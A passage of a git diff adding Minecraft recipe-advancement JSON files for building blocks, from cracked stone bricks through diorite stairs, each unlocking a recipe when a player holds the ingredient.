"parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cracked_polished_blackstone_bricks" + ] + }, + "criteria": { + "has_blackstone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_blackstone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cracked_polished_blackstone_bricks" + } + } + }, + "requirements": [ + [ + "has_blackstone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/cracked_stone_bricks.json b/src/data/minecraft/advancements/recipes/building_blocks/cracked_stone_bricks.json new file mode 100644 index 00000000..d1079e5f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/cracked_stone_bricks.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cracked_stone_bricks" + ] + }, + "criteria": { + "has_stone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cracked_stone_bricks" + } + } + }, + "requirements": [ + [ + "has_stone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/crimson_hyphae.json b/src/data/minecraft/advancements/recipes/building_blocks/crimson_hyphae.json new file mode 100644 index 00000000..0fc36e2d --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/crimson_hyphae.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:crimson_hyphae" + ] + }, + "criteria": { + "has_log": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:crimson_stem" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:crimson_hyphae" + } + } + }, + "requirements": [ + [ + "has_log", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/crimson_planks.json b/src/data/minecraft/advancements/recipes/building_blocks/crimson_planks.json new file mode 100644 index 00000000..5866e9c1 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/crimson_planks.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:crimson_planks" + ] + }, + "criteria": { + "has_logs": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:crimson_stems" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:crimson_planks" + } + } + }, + "requirements": [ + [ + "has_logs", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/crimson_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/crimson_slab.json new file mode 100644 index 00000000..81faa03e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/crimson_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:crimson_slab" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:crimson_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:crimson_slab" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/crimson_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/crimson_stairs.json new file mode 100644 index 00000000..fea5dcaf --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/crimson_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:crimson_stairs" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:crimson_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:crimson_stairs" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/cut_red_sandstone.json b/src/data/minecraft/advancements/recipes/building_blocks/cut_red_sandstone.json new file mode 100644 index 00000000..e4a0ba97 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/cut_red_sandstone.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cut_red_sandstone" + ] + }, + "criteria": { + "has_red_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cut_red_sandstone" + } + } + }, + "requirements": [ + [ + "has_red_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/cut_red_sandstone_from_red_sandstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/cut_red_sandstone_from_red_sandstone_stonecutting.json new file mode 100644 index 00000000..beda9251 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/cut_red_sandstone_from_red_sandstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cut_red_sandstone_from_red_sandstone_stonecutting" + ] + }, + "criteria": { + "has_red_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cut_red_sandstone_from_red_sandstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_red_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/cut_red_sandstone_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/cut_red_sandstone_slab.json new file mode 100644 index 00000000..c5386db7 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/cut_red_sandstone_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cut_red_sandstone_slab" + ] + }, + "criteria": { + "has_cut_red_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cut_red_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cut_red_sandstone_slab" + } + } + }, + "requirements": [ + [ + "has_cut_red_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/cut_red_sandstone_slab_from_cut_red_sandstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/cut_red_sandstone_slab_from_cut_red_sandstone_stonecutting.json new file mode 100644 index 00000000..e1ba27a7 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/cut_red_sandstone_slab_from_cut_red_sandstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cut_red_sandstone_slab_from_cut_red_sandstone_stonecutting" + ] + }, + "criteria": { + "has_cut_red_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cut_red_sandstone_slab_from_cut_red_sandstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_cut_red_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/cut_red_sandstone_slab_from_red_sandstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/cut_red_sandstone_slab_from_red_sandstone_stonecutting.json new file mode 100644 index 00000000..7993b8b5 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/cut_red_sandstone_slab_from_red_sandstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cut_red_sandstone_slab_from_red_sandstone_stonecutting" + ] + }, + "criteria": { + "has_red_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cut_red_sandstone_slab_from_red_sandstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_red_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/cut_sandstone.json b/src/data/minecraft/advancements/recipes/building_blocks/cut_sandstone.json new file mode 100644 index 00000000..31a43635 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/cut_sandstone.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cut_sandstone" + ] + }, + "criteria": { + "has_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cut_sandstone" + } + } + }, + "requirements": [ + [ + "has_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/cut_sandstone_from_sandstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/cut_sandstone_from_sandstone_stonecutting.json new file mode 100644 index 00000000..8302bd34 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/cut_sandstone_from_sandstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cut_sandstone_from_sandstone_stonecutting" + ] + }, + "criteria": { + "has_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cut_sandstone_from_sandstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/cut_sandstone_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/cut_sandstone_slab.json new file mode 100644 index 00000000..5b9a499a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/cut_sandstone_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cut_sandstone_slab" + ] + }, + "criteria": { + "has_cut_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cut_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cut_sandstone_slab" + } + } + }, + "requirements": [ + [ + "has_cut_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/cut_sandstone_slab_from_cut_sandstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/cut_sandstone_slab_from_cut_sandstone_stonecutting.json new file mode 100644 index 00000000..6abc24c3 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/cut_sandstone_slab_from_cut_sandstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cut_sandstone_slab_from_cut_sandstone_stonecutting" + ] + }, + "criteria": { + "has_cut_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cut_sandstone_slab_from_cut_sandstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_cut_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/cut_sandstone_slab_from_sandstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/cut_sandstone_slab_from_sandstone_stonecutting.json new file mode 100644 index 00000000..585deda7 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/cut_sandstone_slab_from_sandstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cut_sandstone_slab_from_sandstone_stonecutting" + ] + }, + "criteria": { + "has_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cut_sandstone_slab_from_sandstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/cyan_concrete_powder.json b/src/data/minecraft/advancements/recipes/building_blocks/cyan_concrete_powder.json new file mode 100644 index 00000000..5e3bf2be --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/cyan_concrete_powder.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cyan_concrete_powder" + ] + }, + "criteria": { + "has_sand": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sand" + } + ] + } + }, + "has_gravel": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gravel" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cyan_concrete_powder" + } + } + }, + "requirements": [ + [ + "has_sand", + "has_gravel", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/cyan_stained_glass.json b/src/data/minecraft/advancements/recipes/building_blocks/cyan_stained_glass.json new file mode 100644 index 00000000..2dc3d280 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/cyan_stained_glass.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cyan_stained_glass" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cyan_stained_glass" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/cyan_terracotta.json b/src/data/minecraft/advancements/recipes/building_blocks/cyan_terracotta.json new file mode 100644 index 00000000..2c1ef561 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/cyan_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cyan_terracotta" + ] + }, + "criteria": { + "has_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cyan_terracotta" + } + } + }, + "requirements": [ + [ + "has_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/cyan_wool.json b/src/data/minecraft/advancements/recipes/building_blocks/cyan_wool.json new file mode 100644 index 00000000..278a9b18 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/cyan_wool.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cyan_wool" + ] + }, + "criteria": { + "has_white_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cyan_wool" + } + } + }, + "requirements": [ + [ + "has_white_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/dark_oak_planks.json b/src/data/minecraft/advancements/recipes/building_blocks/dark_oak_planks.json new file mode 100644 index 00000000..abbc8a41 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/dark_oak_planks.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dark_oak_planks" + ] + }, + "criteria": { + "has_log": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:dark_oak_logs" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dark_oak_planks" + } + } + }, + "requirements": [ + [ + "has_log", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/dark_oak_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/dark_oak_slab.json new file mode 100644 index 00000000..1ad12cd1 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/dark_oak_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dark_oak_slab" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:dark_oak_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dark_oak_slab" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/dark_oak_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/dark_oak_stairs.json new file mode 100644 index 00000000..74bb38f4 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/dark_oak_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dark_oak_stairs" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:dark_oak_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dark_oak_stairs" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/dark_oak_wood.json b/src/data/minecraft/advancements/recipes/building_blocks/dark_oak_wood.json new file mode 100644 index 00000000..b19ff030 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/dark_oak_wood.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dark_oak_wood" + ] + }, + "criteria": { + "has_log": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:dark_oak_log" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dark_oak_wood" + } + } + }, + "requirements": [ + [ + "has_log", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/dark_prismarine.json b/src/data/minecraft/advancements/recipes/building_blocks/dark_prismarine.json new file mode 100644 index 00000000..95092ed8 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/dark_prismarine.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dark_prismarine" + ] + }, + "criteria": { + "has_prismarine_shard": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:prismarine_shard" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dark_prismarine" + } + } + }, + "requirements": [ + [ + "has_prismarine_shard", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/dark_prismarine_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/dark_prismarine_slab.json new file mode 100644 index 00000000..eb22ee32 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/dark_prismarine_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dark_prismarine_slab" + ] + }, + "criteria": { + "has_dark_prismarine": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:dark_prismarine" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dark_prismarine_slab" + } + } + }, + "requirements": [ + [ + "has_dark_prismarine", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/dark_prismarine_slab_from_dark_prismarine_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/dark_prismarine_slab_from_dark_prismarine_stonecutting.json new file mode 100644 index 00000000..9767de05 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/dark_prismarine_slab_from_dark_prismarine_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dark_prismarine_slab_from_dark_prismarine_stonecutting" + ] + }, + "criteria": { + "has_dark_prismarine": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:dark_prismarine" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dark_prismarine_slab_from_dark_prismarine_stonecutting" + } + } + }, + "requirements": [ + [ + "has_dark_prismarine", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/dark_prismarine_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/dark_prismarine_stairs.json new file mode 100644 index 00000000..edffb257 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/dark_prismarine_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dark_prismarine_stairs" + ] + }, + "criteria": { + "has_dark_prismarine": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:dark_prismarine" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dark_prismarine_stairs" + } + } + }, + "requirements": [ + [ + "has_dark_prismarine", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/dark_prismarine_stairs_from_dark_prismarine_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/dark_prismarine_stairs_from_dark_prismarine_stonecutting.json new file mode 100644 index 00000000..3e33ac62 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/dark_prismarine_stairs_from_dark_prismarine_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dark_prismarine_stairs_from_dark_prismarine_stonecutting" + ] + }, + "criteria": { + "has_dark_prismarine": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:dark_prismarine" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dark_prismarine_stairs_from_dark_prismarine_stonecutting" + } + } + }, + "requirements": [ + [ + "has_dark_prismarine", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/diamond_block.json b/src/data/minecraft/advancements/recipes/building_blocks/diamond_block.json new file mode 100644 index 00000000..1b3b1a35 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/diamond_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:diamond_block" + ] + }, + "criteria": { + "has_diamond": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diamond" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:diamond_block" + } + } + }, + "requirements": [ + [ + "has_diamond", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/diorite.json b/src/data/minecraft/advancements/recipes/building_blocks/diorite.json new file mode 100644 index 00000000..4032a2b8 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/diorite.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:diorite" + ] + }, + "criteria": { + "has_quartz": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:quartz" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:diorite" + } + } + }, + "requirements": [ + [ + "has_quartz", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/diorite_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/diorite_slab.json new file mode 100644 index 00000000..6b712c7b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/diorite_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:diorite_slab" + ] + }, + "criteria": { + "has_diorite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diorite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:diorite_slab" + } + } + }, + "requirements": [ + [ + "has_diorite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/diorite_slab_from_diorite_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/diorite_slab_from_diorite_stonecutting.json new file mode 100644 index 00000000..eb2e4ec5 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/diorite_slab_from_diorite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:diorite_slab_from_diorite_stonecutting" + ] + }, + "criteria": { + "has_diorite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diorite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:diorite_slab_from_diorite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_diorite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/diorite_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/diorite_stairs.json new file mode 100644 index 00000000..1dc99747 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/diorite_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:diorite_stairs" + ] + }, + "criteria": { + "has_diorite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diorite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:diorite_stairs" + } + } + }, + "requirements": [ + [ + "has_diorite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/diorite_stairs_from_diorite_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/diorite_stairs_from_diorite_stonecutting.json new file mode 100644 index 00000000..554c0b57 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/diorite_stairs_from_diorite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:diorite_stairs_from_diorite_stonecutting" + ] + }, + "criteria": { + "has_diorite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diorite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:diorite_stairs_from_diorite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_diorite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/dried_kelp_block.json b/src/data/minecraft/advancements/recipes/building_blocks/dried_kelp_block.json new file mode 100644 index 00000000..7cf21785 --- /dev/null +++ 